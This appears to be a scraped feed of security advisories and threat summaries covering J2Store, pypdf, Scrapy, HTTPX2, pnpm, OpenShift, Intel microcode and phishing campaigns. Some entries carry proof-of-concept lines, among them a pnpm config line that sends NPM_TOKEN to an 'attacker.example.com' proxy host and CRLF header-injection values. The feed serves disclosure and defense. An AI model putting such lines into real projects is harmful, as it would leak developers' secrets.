Search: com.ar

Joomla Extension - j2commerce.com - Anonymous cart-record tampering via inherited FOF `save` task in J2Store 1.0.0-3.3.21, 4.0.0-4.0.21, 4.1.0-4.1.6 - `fof.xml` grants the `carts` view's tasks a wildcard `true` ACL, and FOF only enforces CSRF tokens on back-end HTML requests, not on front-end `format=raw` requests. `J2StoreControllerCarts` already scoped `remove()` to the caller's own session, but never overrode the generic FOF `save` task, so it remained reachable to insert new cart rows with an attacker-chosen `user_id`/`session_id`, or overwrite an existing row by id.

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the RPM packages for Red Hat OpenShift Container Platform 4.12.97. See the following advisory for the container images for this release: https://access.redhat.com/errata/RHSA-2026:59833 Security Fix(es): None For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.12 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.12/html-single/updating_clusters/index#updating-cluster-within-minor.

### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires a call to `read_until_whitespace` with an input which does not have whitespace for a long time. ### Patches This has been fixed in [pypdf==6.15.0](https://github.com/py-pdf/pypdf/releases/tag/6.15.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3947](https://github.com/py-pdf/pypdf/pull/3947).

A service for building customized OS artifacts, such as VM images and OSTree commits, that uses osbuild under the hood. Besides building images for local usage, it can also upload images directly to cloud. It is compatible with composer-cli and cockpit-composer clients. Security Fix(es): * golang.org/x/net/idna: golang: net/http: golang.org/x/net/idna: Privilege escalation via incorrect Punycode label processing (CVE-2026-39821) * golang.org/x/net/html: golang: golang.org/x/net/html: Cross-Site Scripting via HTML parsing bypass (CVE-2026-27136) * golang.org/x/net/html: golang.org/x/net/html: Arbitrary code execution via Cross-Site Scripting (CVE-2026-25681) * golang.org/x/net/html: golang: golang.org/x/net/html: Cross-Site Scripting via unexpected HTML tree rendering (CVE-2026-42502) * github.com/labstack/echo: Echo: Unauthorized Information Disclosure via URL Path Decoding Discrepancy (CVE-2026-55677) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the RPM packages for Red Hat OpenShift Container Platform 4.17.57. See the following advisory for the container images for this release: https://access.redhat.com/errata/RHSA-2026:60023 Security Fix(es): * golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of Service via crafted AES-GCM packet decoder inputs (CVE-2026-46597) * net/http/internal/http2: golang: golang.org/x/net: Go HTTP/2: Denial of Service via malformed SETTINGS_MAX_FRAME_SIZE frame (CVE-2026-33814) * js-yaml: js-yaml: Denial of Service via crafted YAML documents (CVE-2026-59869) * mime: golang: Golang MIME: Denial of Service via maliciously-crafted MIME header (CVE-2026-42504) * net: golang: Go net package: Denial of Service via long CNAME response in LookupCNAME (CVE-2026-33811) * crypto/x509: golang: golang crypto/x509: Denial of Service via excessive processing of DNS SAN entries (CVE-2026-27145) * brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.17 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.17/html-single/updating_clusters/index#updating-cluster-cli.

### Problem Scrapy’s `S3DownloadHandler` sends signed S3 requests over plaintext HTTP by default. A normal request like `s3://bucket/key` is converted into `http://bucket.s3.amazonaws.com/key` unless `request.meta["is_secure"]` is explicitly set. The generated request is then signed with configured AWS credentials, so AWS authorization material can be sent without TLS. Vulnerable code in `scrapy/core/downloader/handlers/s3.py`: ```python scheme = "https" if request.meta.get("is_secure") else "http" url = f"{scheme}://{bucket}.s3.amazonaws.com{path}" ``` The request is then signed and dispatched: ```python self._signer.add_auth(awsrequest) request = request.replace(url=url, headers=awsrequest.headers.items()) ``` ### Impact Users making Scrapy `s3://` requests with AWS credentials are impacted. A network attacker able to observe traffic between Scrapy and S3, such as a public Wi-Fi attacker, compromised router, ISP/corporate network observer, or local network attacker using ARP spoofing, can read: ```text bucket/key path AWS Authorization header X-Amz-Security-Token, if temporary credentials are used S3 object contents S3 response headers ``` An active MITM attacker can also modify the plaintext S3 response body, status code, and headers before Scrapy processes it. This can cause scraped data poisoning, poisoned exports, HTTP cache poisoning when cache is enabled, and influence over later crawl targets through forged redirects or attacker-controlled links. Suggested classification: **CWE-319: Cleartext Transmission of Sensitive Information**. ### PoC A minimal PoC creates an `s3://` request, enables fake AWS settings, captures the request produced by `S3DownloadHandler`, and prints the rewritten URL and auth headers.

### Summary HTTPX2 can automatically add a `Content-Length` header to a request that already contains a caller-supplied `Transfer-Encoding` header. The resulting HTTP/1.1 request contains both framing headers, which can create an ambiguous message boundary and enable request smuggling or connection desynchronization when processed by intermediaries that disagree about which header takes precedence. ### Details When a request body has a known size, HTTPX2's content encoder returns a default `Content-Length`. `Request._prepare()` applies each default header with `setdefault()`, which only checks whether that same header is already present. It does not check whether the mutually exclusive `Transfer-Encoding` header is present. For example: ```python import httpx2 request = httpx2.Request( "POST", "http://example.com/", headers={"Transfer-Encoding": "chunked"}, content=b"test 123", ) print(request.headers) ``` The request contains both: ```text Transfer-Encoding: chunked Content-Length: 8 ``` On an HTTP/1.1 connection, the body is serialized using chunked transfer coding while both headers are sent on the wire. This violates HTTP message-framing requirements. Fixed-size byte, JSON, form, and known-length multipart bodies can reach the affected path. Streaming bodies with an explicit `Content-Length` are not affected in current HTTPX2 releases because the automatically generated `Transfer-Encoding` is already suppressed in that direction. ### Impact An attacker may be able to use the conflicting framing headers as a request-smuggling or desynchronization primitive. Exploitation requires an application to pass attacker-controlled request framing headers and associated body data to HTTPX2, use HTTP/1.1, and communicate through a proxy or origin that accepts conflicting headers and interprets them differently from another hop. Depending on the downstream infrastructure, successful exploitation could interfere with requests sharing a persistent connection, bypass front-end routing or authorization decisions, or poison responses or caches. Applications that do not forward attacker-controlled `Transfer-Encoding` headers are not directly exposed. ### Mitigation Upgrade to HTTPX2 `2.11.0` or later. Patched versions treat `Content-Length` and `Transfer-Encoding` as mutually exclusive when applying automatically generated request headers. If upgrading is not immediately possible, remove `Transfer-Encoding` and other hop-by-hop framing headers from untrusted input before constructing outbound requests. Applications acting as proxies should derive outbound framing from the body rather than forwarding inbound `Content-Length` or `Transfer-Encoding` headers.

### Summary HTTPX2 serializes the per-file `Content-Type` and custom headers supplied through the `files=` tuple API directly into the `multipart/form-data` body without validating custom header names or values. An attacker who can influence upload metadata passed to HTTPX2 can use CR or LF characters to terminate a multipart part header and inject additional part headers or end the part header block early. ### Details The three-element file tuple accepts `(filename, content, content_type)`, and the four-element form accepts `(filename, content, content_type, headers)`. `FileField.render_headers()` interpolates the supplied header names and values between CRLF delimiters without validating them. For example: ```python import httpx2 request = httpx2.Request( "POST", "https://example.com/upload", headers={"Content-Type": "multipart/form-data; boundary=BOUNDARY"}, files={ "file": ( "safe.txt", b"payload", "text/plain\r\nX-Injected: true", ) }, ) print(request.read().decode()) ``` The generated body contains an attacker-injected part header: ```text --BOUNDARY Content-Disposition: form-data; name="file"; filename="safe.txt" Content-Type: text/plain X-Injected: true payload --BOUNDARY-- ``` The same issue affects names and values in the custom header mapping from the four-element tuple. Field names and filenames are serialized through a separate escaping path and do not permit CRLF header injection. ### Impact Applications are affected when they pass attacker-controlled upload metadata into the per-file `content_type` or custom `headers` arguments. The receiving server interprets injected lines as genuine multipart part headers. Depending on how that server validates and processes uploads, this can alter part semantics or bypass checks based on part headers. This does not split the outer HTTP request: the injected headers are contained within the multipart body. The concrete security impact therefore depends on the downstream multipart parser and application behavior. ### Mitigation Upgrade to HTTPX2 `2.11.0` or later. Patched versions reject forbidden control characters in multipart part header names and values and raise `ValueError` before serializing the request. If upgrading is not immediately possible, applications should validate custom multipart header names as HTTP field-name tokens. They should reject NUL, CR, LF, other C0 controls except horizontal tab, and DEL in per-file content types and custom header values before passing them to HTTPX2.

Huntress researchers discovered Knight Office, a phishing kit utilizing Adversary-in-the-Middle techniques to steal Microsoft 365 session tokens. The attack chain begins with DocuSign-themed phishing emails containing redirects through Monday.com and compromised Joomla websites. Victims are directed to credential capture pages where session tokens are harvested and fed into the Knight Office console. These stolen tokens enable attackers to bypass multi-factor authentication entirely by using already-authenticated sessions. In one incident, attackers registered rogue devices in Microsoft Entra ID and bound Windows Hello for Business credentials for persistence. Analysis revealed nine phishing attacks linked to this kit over two weeks, with hundreds of related emails reported since April. The console, hosted at IP 104.37.188.94, manages at least 25 phishing domains using .vu top-level domains.

## Summary pnpm expands `${VAR}` environment placeholders in the `httpProxy` / `httpsProxy` / `noProxy` settings read from a project's `pnpm-workspace.yaml`. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs `pnpm install` in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as `NPM_TOKEN` or `GITHUB_TOKEN`. This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for `registry`, `pnprServer`, `registries` and `namedRegistries` when they come from an untrusted project manifest, and the sibling `.npmrc` reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them. ## Impact An attacker who controls only the contents of a repository's `pnpm-workspace.yaml` — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, `node_modules`, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs. This turns "I can author a project manifest" into "I read the victim's environment secrets." ## Affected versions Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values. - pnpm 11.x: `>= 11.0.0, < 11.11.0` - pnpm 10.x: `>= 10.7.0, < 10.34.5` The Rust port (`pacquet`) and the registry server (`pnpr`) are **not** affected. ## Patches - **pnpm 11.11.0** and later - **pnpm 10.34.5** and later The fix adds `httpProxy`, `httpsProxy`, `noProxy`, `proxy` and `noproxy` to the request-destination key set in `@pnpm/config.reader` (`src/getOptionsFromRootManifest.ts`), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing `registry` / `pnprServer` handling and the `.npmrc` reader's `isRequestDestinationValueKey`. Regression tests cover the proxy keys. ## Workarounds Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's `pnpm-workspace.yaml` for proxy settings before installing. ## Proof of concept ```yaml # pnpm-workspace.yaml in an untrusted repository packages: - . httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080" ``` With `NPM_TOKEN` set in the victim's environment, `pnpm install` expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token. Unit level: ```js process.env.PNPM_TEST_TOKEN = 'secret' const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' }) // Vulnerable: o.httpsProxy === 'http://secret.evil/' // Patched: o.httpsProxy === undefined ``` Using `registry` or `pnprServer` in place of `httpsProxy` does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface. ## Credit Reported privately. A second finding in the original report — the `Authorization` header being retained across a same-host `https` -> `http` redirect — was assessed and is **not** treated as a pnpm vulnerability: npm (`make-fetch-happen`, `minipass-fetch`), Yarn (`got`) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.

### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires a (usually writing) code path where `TreeObject.insert_child` is involved. ### Patches This has been fixed in [pypdf==6.16.0](https://github.com/py-pdf/pypdf/releases/tag/6.16.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3964](https://github.com/py-pdf/pypdf/pull/3964).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes and large memory consumption. This requires accessing the outlines of a document with either lots of entries or nested outlines with long re-used nesting paths. ### Patches This has been fixed in [pypdf==6.16.1](https://github.com/py-pdf/pypdf/releases/tag/6.16.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3966](https://github.com/py-pdf/pypdf/pull/3966).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes and large memory consumption. This requires extracting the text of a page with lots of XForm objects, where some of them might be re-used. ### Patches This has been fixed in [pypdf==6.16.1](https://github.com/py-pdf/pypdf/releases/tag/6.16.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3966](https://github.com/py-pdf/pypdf/pull/3966).

This update for ucode-intel fixes the following issues: - Intel CPU Microcode was updated to the 20260812 release (bsc#1274785) - Removed MTL/06-aa-04/c0 due to functional issues observed when loading the MCU in some platforms. - Intel CPU Microcode was updated to the 20260811 release (bsc#1274785) - Security updates for INTEL-SA-01379 / CVE-2025-31936 - Security updates for INTEL-SA-01404 / CVE-2025-31938 - Security updates for INTEL-SA-01423 / CVE-2026-20917 - Security updates for INTEL-SA-01428 / CVE-2025-35973 - Security updates for INTEL-SA-01435 / CVE-2026-20716 - Security updates for INTEL-SA-01441 / CVE-2026-20760 - Security updates for INTEL-SA-01442 / CVE-2026-20713 / CVE-2026-20901 - Security updates for INTEL-SA-01443 / CVE-2026-20707 - Update for functional issues. - Intel CPU Microcode was updated to the 20260512 release (bsc#1265189) - CVE-2025-35979: Security updates for INTEL-SA-01420 - https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01420.html - Update for various functional issues. ##### New Platforms | Processor | Stepping | F-M-S/PI | Old Ver | New Ver | Products |:---------------|:---------|:------------|:---------|:---------|:--------- | PTL 404 | A1 | 06-cc-03/90 | | 0000011b | Intel Core Ultra Processor (Series 3) | PTL-H 484/12Xe | A0/B0 | 06-cc-02/90 | | 0000011b | Intel Core Ultra Processor (Series 3) ##### Updated Platforms | Processor | Stepping | F-M-S/PI | Old Ver | New Ver | Products |:---------------|:---------|:------------|:---------|:---------|:--------- | ARL-H | A1 | 06-c5-02/82 | 0000011b | 00000121 | Core Ultra Processor (Series 2) | ARL-S/HX (8P) | B0 | 06-c6-02/82 | 0000011b | 00000121 | Core Ultra Processor (Series 2) | EMR-SP | A1 | 06-cf-02/87 | 210002d3 | 210002e0 | Xeon Scalable Gen5 | GNR-AP/SP | Bx/Hx/Lx | 06-ad-01/95 | 01000405 | 01000423 | Xeon 6900/6700/6500 Series Processors with P-Cores | GNR-D | B0/B1 | 06-ae-01/97 | 01000303 | 01000307 | Xeon 6700P-B/6500P-B Series SoC with P-Cores | GNR-SP R1S | Bx/Hx/Lx | 06-ad-01/20 | 0a000133 | 0a000142 | Xeon 6700/6500-Series Processors with P-Cores | LNL | B0 | 06-bd-01/80 | 00000125 | 00000126 | Core Ultra 200 V Series Processor | SPR-SP | E4/S2 | 06-8f-07/87 | 2b000661 | 2b000670 | Xeon Scalable Gen4 | SPR-SP | E5/S3 | 06-8f-08/87 | 2b000661 | 2b000670 | Xeon Scalable Gen4 | SRF-AP/SP | C0 | 06-af-03/01 | 03000382 | 030003a3 | Xeon 6900/6700-Series Processors with E-Cores - Update to microcode-20260227: * Update for functional issues. Refer to Intel Xeon 6700P-B/6500P-B-Series SoC with P-Cores for details. ##### Updated Platforms | Processor | Stepping | F-M-S/PI | Old Ver | New Ver | Products |:---------------|:---------|:------------|:---------|:---------|:--------- | GNR-D | B0/B1 | 06-ae-01/97 | 010002f3 | 01000303 | Xeon 6700P-B/6500P-B Series SoC with P-Cores

A malware campaign uses counterfeit software-download websites impersonating trusted vendors to distribute malicious installers. The activity primarily targets China-based operations of multinational organizations and Chinese-speaking users across healthcare, manufacturing, gaming, technology, logistics, government, and education sectors. Malicious installers deploy payloads that establish persistence, disable security protections, and communicate with attacker-controlled infrastructure. The campaign employs dynamically generated installers with rotating hashes, spoofed vendor pages on .com.cn and .hl.cn domains, and randomized payload staging paths. Follow-on activity includes disabling Windows Defender, deleting shadow copies, neutralizing Windows Update, creating scheduled tasks for persistence, and establishing command-and-control over non-standard ports. Microsoft assesses this activity aligns with publicly reported Silver Fox operations but has not attributed it to a nation-state actor.

Campaign#scheduled tasks#silver foxChina

A vulnerability was identified in MapQuest Get Directions App 10.16.1 on Android. This vulnerability affects the function getDataColumn of the file ExpoShareIntentModule.kt of the component com.mapquest.android.ace. The manipulation leads to path traversal. An attack has to be approached locally. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was detected in AirAsia MOVE App up to 12.47.1 on Android. This issue affects the function com.airasia.core.utils.RealPathUtil.getRealPath of the component com.airasia.mobile. Performing a manipulation of the argument _display_name results in path traversal. The attack requires a local approach. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.